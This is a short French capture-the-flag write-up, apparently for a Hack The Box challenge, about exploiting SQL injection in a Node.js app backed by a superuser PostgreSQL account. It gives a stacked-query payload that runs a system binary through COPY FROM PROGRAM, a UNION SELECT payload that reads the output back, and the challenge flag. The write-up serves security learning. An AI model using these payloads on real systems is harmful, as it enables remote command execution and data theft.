1. Contexte et Objectifs
Une base de données de réfugiés galactiques contient des criminels cachés. L'objectif est d'accéder aux données protégées.
2. Analyse du Code
- Le code source (Node.js/Express) montre une vulnérabilité d'Injection SQL dans la route
/. - Le paramètre
idest concaténé directement dans la requête :SELECT * FROM fugitives WHERE id=${id}. - L'application se connecte à PostgreSQL avec l'utilisateur
postgres(Superuser !). - Le flag est situé dans
/root/flag(lisible uniquement par root), mais un binaire SUID/readflag.cest présent pour le lire.
3. Exploitation
L'exploitation s'est faite en deux étapes via des Requêtes Empilées (Stacked Queries) :
-
Exécution de Code à Distance (RCE) :
-
Utilisation de la commande
COPY ... FROM PROGRAM(disponible pour le superuser PostgreSQL) pour charger et exécuter le binaire/readflag. -
Le résultat est stocké dans une table temporaire.
-
Payload :
1; DROP TABLE IF EXISTS pwn; CREATE TABLE pwn(res text); COPY pwn FROM PROGRAM '/readflag'; --
-
-
Exfiltration :
-
Utilisation d'une injection
UNION SELECTpour lire le contenu de la table temporairepwnet l'afficher dans l'interface web (dans la colonnename). -
Payload :
-1 UNION SELECT 1, res, '3', '4', '5', '6', '7', '8', '9' FROM pwn --
-
Flag
HTB{P0sGr3SQL_15_vuLn3abl3_t0_Rc3_m4N_1ts_fun!!_5aa876285c7769e9d1a4b8eff254c6da}